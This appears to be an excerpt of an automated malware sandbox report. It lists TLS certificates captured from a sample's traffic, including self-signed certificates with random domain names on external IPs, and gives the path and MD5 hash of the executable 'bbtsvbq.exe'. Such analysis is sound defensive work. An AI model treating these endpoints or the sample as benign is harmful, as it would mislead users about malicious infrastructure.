Nov 27, 2017 12:34:48.220330000 CET	443	49166	192.30.253.112	192.168.1.91	CN=github.com, O="GitHub, Inc.", L=San Francisco, ST=California, C=US, OID.2.5.4.17=94107, STREET="88 Colin P Kelly, Jr Street", SERIALNUMBER=5157550, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.2.5.4.15=Private Organization	CN=DigiCert SHA2 Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Mar 10 01:00:00 CET 2016	Thu May 17 14:00:00 CEST 2018	[[ Version: V3 Subject: CN=github.com, O="GitHub, Inc.", L=San Francisco, ST=California, C=US, OID.2.5.4.17=94107, STREET="88 Colin P Kelly, Jr Street", SERIALNUMBER=5157550, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.2.5.4.15=Private Organization Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 29228291586411801150687864404306523745724345591150737242344515708146044687830610903627244230322116148964889136299393918008394475528311571236330807623767090801980834497294003637903833024542751179662460286084954686588725445460176943071052806364513428544395575781278625745046025775201457436111331828935561284481601243295143663462508127502940915239703118960877407439795745785220992979468193047851390838515757868570106907722884098879968325331952898133536543210786954931489971401565838024976242713308924778654433162674897360289047109438675900333865528657603857469265730000499898107082856244070155461487647470817986534157283 public exponent: 65537 Validity: [From: Thu Mar 10 01:00:00 CET 2016, To: Thu May 17 14:00:00 CEST 2018] Issuer: CN=DigiCert SHA2 Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US SerialNumber: [ 0bfdb409 0ad7b5e6 40c30b16 c9529a27]Certificate Extensions: 10[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 82 01 6F 04 82 01 6B 01 69 00 76 00 A4 B9 09 ...o...k.i.v....0010: 90 B4 18 58 14 87 BB 13 A2 CC 67 70 0A 3C 35 98 ...X......gp.<5.0020: 04 F9 1B DF B8 E3 77 CD 0E C8 0D DC 10 00 00 01 ......w.........0030: 53 61 89 EA 1E 00 00 04 03 00 47 30 45 02 21 00 Sa........G0E.!.0040: 87 1D 21 18 FD 13 8A DB FB 0E 96 36 CA 68 D1 1C ..!........6.h..0050: 29 6C FA 07 11 C9 34 F3 AD 8D 2C AE 56 74 A7 E1 )l....4...,.Vt..0060: 02 20 27 A4 6A BD 86 D2 5F 5B CA 2D E5 FB BE 99 . '.j..._[.-....0070: CE 7C 20 1F 4B 66 3C 94 1E 51 34 CC 24 EA EB 36 .. .Kf<..Q4.$..60080: 42 20 00 76 00 68 F6 98 F8 1F 64 82 BE 3A 8C EE B .v.h....d..:..0090: B9 28 1D 4C FC 71 51 5D 67 93 D4 44 D1 0A 67 AC .(.L.qQ]g..D..g.00A0: BB 4F 4F FB C4 00 00 01 53 61 89 E9 E7 00 00 04 .OO.....Sa......00B0: 03 00 47 30 45 02 21 00 D9 A5 DE 52 FB 7B 68 F2 ..G0E.!....R..h.00C0: 4E E5 70 37 96 06 18 89 01 28 98 4E 4D AB 34 04 N.p7.....(.NM.4.00D0: F6 EA 55 5A 33 7C 61 5B 02 20 35 4A AB 90 83 83 ..UZ3.a[. 5J....00E0: 66 94 60 FA 48 61 A7 C6 A0 EB 90 7C 9A ED 29 E0 f.`.Ha........).00F0: 95 00 9A 44 43 6E 26 27 46 F6 00 77 00 56 14 06 ...DCn&'F..w.V..0100: 9A 2F D7 C2 EC D3 F5 E1 BD 44 B2 3E C7 46 76 B9 ./.......D.>.Fv.0110: BC 99 11 5C C0 EF 94 98 55 D6 89 D0 DD 00 00 01 ...\....U.......0120: 53 61 89 EA 99 00 00 04 03 00 48 30 46 02 21 00 Sa........H0F.!.0130: E7 9B 75 92 B6 5B C4 F7 D1 82 8B 34 B1 F9 41 AD ..u..[.....4..A.0140: 1A 64 24 D9 64 E8 92 83 E0 A3 58 5F 8A FF 33 20 .d$.d.....X_..3 0150: 02 21 00 FA D8 79 7A C1 82 C7 80 F6 35 16 5A 80 .!...yz.....5.Z.0160: 78 22 F9 9C 66 DB 21 8D 7B 28 9D 3F 0C 20 6D 6E x"..f.!..(.?. mn0170: D7 31 7C .1.[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.digicert.com, accessMethod: caIssuers accessLocation: URIName: http://cacerts.digicert.com/DigiCertSHA2ExtendedValidationServerCA.crt]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 3D D3 50 A5 D6 A0 AD EE F3 4A 60 0A 65 D3 21 D4 =.P......J`.e.!.0010: F8 F8 D6 0F ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl3.digicert.com/sha2-ev-server-g1.crl], DistributionPoint: [URIName: http://crl4.digicert.com/sha2-ev-server-g1.crl]]][6]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.16.840.1.114412.2.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 64 69 ..https://www.di0010: 67 69 63 65 72 74 2E 63 6F 6D 2F 43 50 53 gicert.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.1][] ]][7]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][8]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][9]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: github.com DNSName: www.github.com][10]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 88 5C 48 67 19 CC A0 76 59 2D 11 79 C3 BE A2 AC .\Hg...vY-.y....0010: 87 22 27 5B ."'[]]] Algorithm: [SHA256withRSA] Signature:0000: 8B 6C DB 64 C6 EB 29 AB 27 2A F2 1D 44 A5 B9 80 .l.d..).'..D...0010: 5F 4C 0C E4 3A 16 EE 13 3F 15 57 73 E0 B2 77 2A _L..:...?.Ws..w0020: 67 ED CA 4D 72 77 C8 FF 3D 2C 51 AC 04 0D D8 CA g..Mrw..=,Q.....0030: FF 7E B2 9E 2B C3 44 D5 C3 23 8B 7D A6 25 B0 6A ....+.D..#...%.j0040: A5 6B 4A FF EC 02 F9 AB CF A6 50 54 6C DA 73 3F .kJ.......PTl.s?0050: 9D DC B9 33 05 FD 0B 2C C4 8B 4F 18 D3 F9 FC E4 ...3...,..O.....0060: FD 02 3D 41 C4 0F CD A1 F5 99 2A 1E 2E 7D 5E DC ..=A.........^.0070: CF 7A 58 44 34 B8 04 5F 84 10 54 38 97 91 98 FB .zXD4.._..T8....0080: 2A 78 58 90 3F C5 2B D8 B1 31 D6 79 6C 51 0F 5F xX.?.+..1.ylQ._0090: E7 97 AD BF 45 DF 45 37 63 64 69 C4 55 A3 30 B1 ....E.E7cdi.U.0.00A0: 45 59 5E 16 B0 47 4C 5C 6A 20 FE A4 0E 7C 62 2C EY^..GL\j ....b,00B0: 49 41 AD 99 E0 B5 8D 3B 89 EB 5A 61 95 4B 40 DF IA.....;..Za.K@.00C0: C4 4F 2A 8B 41 FB 6C 7F C4 DE 73 04 E4 95 B8 EF .O.A.l...s.....00D0: 9B C3 53 26 A6 DA 21 58 9F 63 0A B0 34 DF B8 95 ..S&..!X.c..4...00E0: 1C 52 DC 5E 65 36 50 3F 8A 5D 76 20 E8 1B 46 2A .R.^e6P?.]v ..F00F0: 0B 23 AD A8 F0 6D 03 68 45 10 80 73 5F F2 F4 86 .#...m.hE..s_...]
Nov 27, 2017 12:34:48.220330000 CET	443	49166	192.30.253.112	192.168.1.91	CN=DigiCert SHA2 Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028	[[ Version: V3 Subject: CN=DigiCert SHA2 Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 27182480329609083645624358951312470735111101465904409517579603324443610948627123317276574372284092612395466705913697296538729051610615914979630979130353728187634968718301037795642657343511174042315836449309023250377748929072088632079297292400799455978070288868084050898983836205888774855547544255622648360396227755156561340192722735895290847161205245369772696734401944671246358701321167149070896780343739667326363444343051093227411009129654263748425661222582889902796954800796685968517689977802189122916931470605744698837719347057766694419404975072163417802333656859496792447815284011528855507761771697613578237909299 public exponent: 65537 Validity: [From: Tue Oct 22 14:00:00 CEST 2013, To: Sun Oct 22 14:00:00 CEST 2028] Issuer: CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US SerialNumber: [ 0c79a944 b08c1195 2092615f e26b1d83]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.digicert.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: B1 3E C3 69 03 F8 BF 47 01 D4 98 26 1A 08 02 EF .>.i...G...&....0010: 63 64 2B C3 cd+.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 64 69 ..https://www.di0010: 67 69 63 65 72 74 2E 63 6F 6D 2F 43 50 53 gicert.com/CPS]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 3D D3 50 A5 D6 A0 AD EE F3 4A 60 0A 65 D3 21 D4 =.P......J`.e.!.0010: F8 F8 D6 0F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 9D B6 D0 90 86 E1 86 02 ED C5 A0 F0 34 1C 74 C1 ............4.t.0010: 8D 76 CC 86 0A A8 F0 4A 8A 42 D6 3F C8 A9 4D AD .v.....J.B.?..M.0020: 7C 08 AD E6 B6 50 B8 A2 1A 4D 88 07 B1 29 21 DC .....P...M...)!.0030: E7 DA C6 3C 21 E0 E3 11 49 70 AC 7A 1D 01 A4 CA ...<!...Ip.z....0040: 11 3A 57 AB 7D 57 2A 40 74 FD D3 1D 85 18 50 DF .:W..W*@t.....P.0050: 57 47 75 A1 7D 55 20 2E 47 37 50 72 8C 7F 82 1B WGu..U .G7Pr....0060: D2 62 8F 2D 03 5A DA C3 C8 A1 CE 2C 52 A2 00 63 .b.-.Z.....,R..c0070: EB 73 BA 71 C8 49 27 23 97 64 85 9E 38 0E AD 63 .s.q.I'#.d..8..c0080: 68 3C BA 52 81 58 79 A3 2C 0C DF DE 6D EB 31 F2 h<.R.Xy.,...m.1.0090: BA A0 7C 6C F1 2C D4 E1 BD 77 84 37 03 CE 32 B5 ...l.,...w.7..2.00A0: C8 9A 81 1A 4A 92 4E 3B 46 9A 85 FE 83 A2 F9 9E ....J.N;F.......00B0: 8C A3 CC 0D 5E B3 3D CF 04 78 8F 14 14 7B 32 9C ....^.=..x....2.00C0: C7 00 A6 5C C4 B5 A1 55 8D 5A 56 68 A4 22 70 AA ...\...U.ZVh."p.00D0: 3C 81 71 D9 9D A8 45 3B F4 E5 F6 A2 51 DD C7 7B <.q...E;....Q...00E0: 62 E8 6F 0C 74 EB B8 DA F8 BF 87 0D 79 50 91 90 b.o.t.......yP..00F0: 9B 18 3B 91 59 27 F1 35 28 13 AB 26 7E D5 F7 7A ..;.Y'.5(..&...z]
Nov 27, 2017 12:34:49.361411095 CET	443	49167	192.30.253.121	192.168.1.91	CN=*.github.com, O="GitHub, Inc.", L=San Francisco, ST=California, C=US	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Jan 18 01:00:00 CET 2017	Fri Apr 17 14:00:00 CEST 2020	[[ Version: V3 Subject: CN=.github.com, O="GitHub, Inc.", L=San Francisco, ST=California, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 21429228084154408943139570884685142625290500347430795858688900551415906227536679153874399789385842271773517226674999079030803051091126231851036994513420278617079294928916984597651071937771480224292146730146769347421268976671825352026008436794206108406683277935743479777852166737816193041069610655724625122176575658877266092427856358490281180586482968057493121391843635194056949034040742987996151385813703709721259901343583080882309256791235110152071733990018185877979413282320500905063719789054108256594000772614408563350607772451285558663353171701829979037836249636683152899809162027796677351738512252288118534299749 public exponent: 65537 Validity: [From: Wed Jan 18 01:00:00 CET 2017, To: Fri Apr 17 14:00:00 CEST 2020] Issuer: CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US SerialNumber: [ 0d9ddde7 cfac619a c3866fae 35458a94]Certificate Extensions: 10[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 82 01 E4 04 82 01 E0 01 DE 00 75 00 A4 B9 09 ...........u....0010: 90 B4 18 58 14 87 BB 13 A2 CC 67 70 0A 3C 35 98 ...X......gp.<5.0020: 04 F9 1B DF B8 E3 77 CD 0E C8 0D DC 10 00 00 01 ......w.........0030: 59 B2 9C 3E 4B 00 00 04 03 00 46 30 44 02 20 1E Y..>K.....F0D. .0040: AC 0E EF D1 B5 53 47 56 E5 29 3E 88 CC 41 5D 34 .....SGV.)>..A]40050: 06 D2 F4 9D BE B0 C2 32 37 A0 DA 77 C4 06 42 02 .......27..w..B.0060: 20 03 DE 1E 2A 28 E7 D7 67 11 3A 1A F3 34 3E BE ...(..g.:..4>.0070: B6 15 56 FC F7 48 99 4C D3 12 87 42 18 58 1A 08 ..V..H.L...B.X..0080: F5 00 76 00 56 14 06 9A 2F D7 C2 EC D3 F5 E1 BD ..v.V.../.......0090: 44 B2 3E C7 46 76 B9 BC 99 11 5C C0 EF 94 98 55 D.>.Fv....\....U00A0: D6 89 D0 DD 00 00 01 59 B2 9C 3F 1C 00 00 04 03 .......Y..?.....00B0: 00 47 30 45 02 20 24 A6 69 92 C0 28 82 C6 2D 7C .G0E. $.i..(..-.00C0: BD B5 B0 C2 45 CA 8A C7 82 9A 5D A3 85 20 2C 54 ....E.....].. ,T00D0: 1C B0 DA BE 1B D3 02 21 00 8A 25 EF B9 CA F5 65 .......!..%....e00E0: 81 DC A0 9D 62 C7 EF D4 03 25 B8 4B 2D 7E 49 F2 ....b....%.K-.I.00F0: 31 57 FF CF 56 E3 2E 98 57 00 75 00 EE 4B BD B7 1W..V...W.u..K..0100: 75 CE 60 BA E1 42 69 1F AB E1 9E 66 A3 0F 7E 5F u.`..Bi....f..._0110: B0 72 D8 83 00 C4 7B 89 7A A8 FD CB 00 00 01 59 .r......z......Y0120: B2 9C 40 2E 00 00 04 03 00 46 30 44 02 20 72 AB ..@......F0D. r.0130: CC 0E 48 6F 33 44 18 CA F6 36 66 E6 70 99 DC B9 ..Ho3D...6f.p...0140: 44 D9 1E C1 D1 26 A5 34 78 26 5C 89 A9 F9 02 20 D....&.4x&\.... 0150: 46 18 85 F9 69 D5 94 6E 3B 85 5A 20 5B D5 99 C4 F...i..n;.Z [...0160: 91 8B 07 F3 5F E8 CD B6 06 9B 9C 58 DF A2 24 C7 ...._......X..$.0170: 00 76 00 BB D9 DF BC 1F 8A 71 B5 93 94 23 97 AA .v.......q...#..0180: 92 7B 47 38 57 95 0A AB 52 E8 1A 90 96 64 36 8E ..G8W...R....d6.0190: 1E D1 85 00 00 01 59 B2 9C 3E 5D 00 00 04 03 00 ......Y..>].....01A0: 47 30 45 02 21 00 92 4C BD 09 5D FD CE FD 02 D8 G0E.!..L..].....01B0: 45 12 3D 36 A9 57 5A CD FF D2 9A 39 1B FA 08 0D E.=6.WZ....9....01C0: FC 38 EB 48 1D BC 02 20 06 12 34 B0 C4 28 F8 AF .8.H... ..4..(..01D0: E3 E7 52 0C C5 B5 44 5B 2E 87 E4 DE 20 2F 10 22 ..R...D[.... /."01E0: E3 F4 D6 4E D9 26 5B 75 ...N.&[u[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.digicert.com, accessMethod: caIssuers accessLocation: URIName: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 51 68 FF 90 AF 02 07 75 3C CC D9 65 64 62 A2 12 Qh.....u<..edb..0010: B8 59 72 3B .Yr;]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl3.digicert.com/sha2-ha-server-g5.crl], DistributionPoint: [URIName: http://crl4.digicert.com/sha2-ha-server-g5.crl]]][6]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.16.840.1.114412.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 64 69 ..https://www.di0010: 67 69 63 65 72 74 2E 63 6F 6D 2F 43 50 53 gicert.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.2][] ]][7]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][8]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][9]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .github.com DNSName: github.com][10]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: EA 61 52 B2 FE 0A 40 80 E5 20 8A 30 37 24 A0 EA .aR...@.. .07$..0010: A6 6C 6A AA .lj.]]] Algorithm: [SHA256withRSA] Signature:0000: 7C 83 2F 49 4A BD 67 81 14 9E 22 3D EF A6 8E 91 ../IJ.g..."=....0010: 74 D2 3F 06 BC 19 3F 8A 17 39 4B A5 CC 8F 99 C5 t.?...?..9K.....0020: 3F C7 C0 13 A6 D5 2C 01 19 D2 F7 A6 33 C7 B0 56 ?.....,.....3..V0030: B5 C8 69 AD 7B 03 58 A7 45 2E 09 90 FD 84 D3 76 ..i...X.E......v0040: 05 1F CB F4 32 CB B6 DA 26 F0 B2 2F 00 5F E1 C2 ....2...&../._..0050: 69 B0 17 58 68 AC 5C 8A 07 B6 76 70 09 8E 05 48 i..Xh.\...vp...H0060: BE 5F 23 10 EE 24 FA 50 F9 05 68 2A 42 04 44 94 ._#..$.P..hB.D.0070: 35 E3 D1 25 55 41 0D 70 77 43 19 4C A5 A5 0D 56 5..%UA.pwC.L...V0080: F1 98 AB 17 CE EE 48 D2 45 82 1B AF E6 7C 17 09 ......H.E.......0090: 73 EE 87 F8 00 56 73 56 08 2B EA 4B 3F 58 C3 61 s....VsV.+.K?X.a00A0: C0 BC C2 3F 5F 46 44 C2 A5 95 BF DE 56 7F 36 DF ...?_FD.....V.6.00B0: AC 9C CD 6E 8D 34 59 ED 14 C1 95 11 B6 B8 92 E9 ...n.4Y.........00C0: 21 7D 79 26 28 52 A6 B1 2B DE ED FD 44 75 29 1C !.y&(R..+...Du).00D0: E3 83 2C DC D5 03 0E B7 CD F2 6A 08 9B CF B5 A0 ..,.......j.....00E0: AB FB F2 97 2A BA 9F 8E 4F 59 F9 EE CD 9A 0F 88 ....*...OY......00F0: C4 E7 F8 33 F3 31 6E 8C 78 28 9B CB 95 7F 29 C1 ...3.1n.x(....).]
Nov 27, 2017 12:34:49.361411095 CET	443	49167	192.30.253.121	192.168.1.91	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028	[[ Version: V3 Subject: CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 23085922014910748503624791917480115148492919026914207610707020942093828159221184419960399297678177590153378092714640886296044490661625022319263060388275515964365478738040978664516396912933675650257207760237777280773935047177225664304566903694731631728916260237117586511459590661362255543750987738241463266555577715629664656907640120826399947323444556799362651693283202076722872218490347588587929811327918605576169523712767591239193274840826201053308722900104999956283622772648025895714833602740679819670062830777938157004975732087864164660384513848296643542134747514357423990884765641067184766081973460304136714018531 public exponent: 65537 Validity: [From: Tue Oct 22 14:00:00 CEST 2013, To: Sun Oct 22 14:00:00 CEST 2028] Issuer: CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US SerialNumber: [ 04e1e7a4 dc5cf2f3 6dc02b42 b85d159f]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.digicert.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: B1 3E C3 69 03 F8 BF 47 01 D4 98 26 1A 08 02 EF .>.i...G...&....0010: 63 64 2B C3 cd+.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 64 69 ..https://www.di0010: 67 69 63 65 72 74 2E 63 6F 6D 2F 43 50 53 gicert.com/CPS]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 51 68 FF 90 AF 02 07 75 3C CC D9 65 64 62 A2 12 Qh.....u<..edb..0010: B8 59 72 3B .Yr;]]] Algorithm: [SHA256withRSA] Signature:0000: 18 8A 95 89 03 E6 6D DF 5C FC 1D 68 EA 4A 8F 83 ......m.\..h.J..0010: D6 51 2F 8D 6B 44 16 9E AC 63 F5 D2 6E 6C 84 99 .Q/.kD...c..nl..0020: 8B AA 81 71 84 5B ED 34 4E B0 B7 79 92 29 CC 2D ...q.[.4N..y.).-0030: 80 6A F0 8E 20 E1 79 A4 FE 03 47 13 EA F5 86 CA .j.. .y...G.....0040: 59 71 7D F4 04 96 6B D3 59 58 3D FE D3 31 25 5C Yq....k.YX=..1%\0050: 18 38 84 A3 E6 9F 82 FD 8C 5B 98 31 4E CD 78 9E .8.......[.1N.x.0060: 1A FD 85 CB 49 AA F2 27 8B 99 72 FC 3E AA D5 41 ....I..'..r.>..A0070: 0B DA D5 36 A1 BF 1C 6E 47 49 7F 5E D9 48 7C 03 ...6...nGI.^.H..0080: D9 FD 8B 49 A0 98 26 42 40 EB D6 92 11 A4 64 0A ...I..&B@.....d.0090: 57 54 C4 F5 1D D6 02 5E 6B AC EE C4 80 9A 12 72 WT.....^k......r00A0: FA 56 93 D7 FF BF 30 85 06 30 BF 0B 7F 4E FF 57 .V....0..0...N.W00B0: 05 9D 24 ED 85 C3 2B FB A6 75 A8 AC 2D 16 EF 7D ..$...+..u..-...00C0: 79 27 B2 EB C2 9D 0B 07 EA AA 85 D3 01 A3 20 28 y'............ (00D0: 41 59 43 28 D2 81 E3 AA F6 EC 7B 3B 77 B6 40 62 AYC(.......;w.@b00E0: 80 05 41 45 01 EF 17 06 3E DE C0 33 9B 67 D3 61 ..AE....>..3.g.a00F0: 2E 72 87 E4 69 FC 12 00 57 40 1E 70 F5 1E C9 B4 .r..i...W@.p....]
Nov 27, 2017 12:34:53.939578056 CET	443	49170	185.100.86.100	192.168.1.91	CN=www.ch2r6gl2ylm667sxm.net	CN=www.ryqgljgqidot.com	Mon Oct 09 02:00:00 CEST 2017	Wed Dec 13 00:59:59 CET 2017	[[ Version: V3 Subject: CN=www.ch2r6gl2ylm667sxm.net Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 20429520928946187447879509545153259303721124613441910549431857464850050670641206005662674123526924607611556782323076793129076835725139537063934641177711677651714646547773135518929473704671677283578946421120498142010938249447944028901419467061927279870431907953662919391477976728474040324938672270213423661068415073413928976525579181702442401007829929685413147454254135689605203612803366534647820921054556675284059350727952251829881056416425398011483195591274940051238600753657417691690296004833579128158228622049728669115436875959954938351515422368917129256865235541187804341769801700830745777131350798680650878647291 public exponent: 65537 Validity: [From: Mon Oct 09 02:00:00 CEST 2017, To: Wed Dec 13 00:59:59 CET 2017] Issuer: CN=www.ryqgljgqidot.com SerialNumber: [ 210d853a 5197c191]] Algorithm: [SHA256withRSA] Signature:0000: 08 4C 97 E1 5C B0 FE A6 78 CA 83 35 7D F2 90 4F .L..\...x..5...O0010: BB 1C 23 CD 74 14 A5 7F BF 7F 46 3D 19 A7 04 B5 ..#.t.....F=....0020: 93 94 F8 45 E7 75 B3 C1 F5 02 35 71 96 E0 65 65 ...E.u....5q..ee0030: 96 0F 44 CD 94 0B 64 A0 0E A3 DB 3E D4 63 0B 50 ..D...d....>.c.P0040: 93 D9 9E C0 3F 17 4A 49 18 3F B8 F2 09 4B 00 14 ....?.JI.?...K..0050: 87 85 B0 D6 9C 86 79 E1 CC EF D6 C3 D8 F3 06 B0 ......y.........0060: 32 73 E5 E9 B7 00 15 FC 8B AA 94 3F A2 32 07 F8 2s.........?.2..0070: 39 19 D9 96 7F 92 B1 16 BE C9 3B 69 E3 52 CD 09 9.........;i.R..]
Nov 27, 2017 12:34:53.939623117 CET	443	49171	154.35.175.225	192.168.1.91	CN=www.j5p2zacwtd.net	CN=www.o2fyfxfuhurwqu6.com	Thu Oct 19 02:00:00 CEST 2017	Sat Dec 09 01:00:00 CET 2017	[[ Version: V3 Subject: CN=www.j5p2zacwtd.net Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 20980999792373532223333315957452696102500878872883519153002308553021093278875766791309079416111714760923812920634343533317713642753360395228386391910160819951971827894765937528516594263143079320521073940828682685874156004617006015205505553620354511585671434753008589361484439099035679534064498780640248100789667213713336364838753972085489742825307401363458165834660890752594278029051028723761847449453688870599498598277190263317033395416386752315457078676826382308016443876623899393724297410922717125002295183954327112944496568374747416477835128838097076360521993607669960233819925002739079909769977247215058672633947 public exponent: 65537 Validity: [From: Thu Oct 19 02:00:00 CEST 2017, To: Sat Dec 09 01:00:00 CET 2017] Issuer: CN=www.o2fyfxfuhurwqu6.com SerialNumber: [ dd70e191 842bfa5a]] Algorithm: [SHA256withRSA] Signature:0000: 61 1F A9 90 A0 48 92 54 C5 74 48 77 5A 01 20 D2 a....H.T.tHwZ. .0010: D7 B8 BC 24 2C A2 47 7D F0 D4 87 1A DC 2D A9 8F ...$,.G......-..0020: 87 D0 B1 77 85 36 3B 79 0E DE EA 90 9E 94 B3 43 ...w.6;y.......C0030: 99 47 98 A3 97 3A 70 92 AD 89 B8 87 27 F2 C5 16 .G...:p.....'...0040: 00 AC CF 27 61 EE E2 75 2D 63 2D 8C C2 21 8C 1E ...'a..u-c-..!..0050: 64 0D 37 B7 60 8D 48 85 04 45 62 F3 D0 E1 6C F6 d.7.`.H..Eb...l.0060: B0 C5 F1 2B A6 66 41 4B 5E 5E B9 73 C9 6B 73 BD ...+.fAK^^.s.ks.0070: 35 58 89 40 FF 7B 60 87 2B E9 B6 7D CD A4 F0 94 5X.@..`.+.......]

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: bbtsvbq.exe PID: 3724 Parent PID: 3124

General

Start time:	12:34:07
Start date:	27/11/2017
Path:	C:\Users\user\Desktop\bbtsvbq.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\bbtsvbq.exe'
Imagebase:	0x77cc0000
File size:	173568 bytes
MD5 hash:	85FC638BD373AF9A95C715BC4F8B97FC
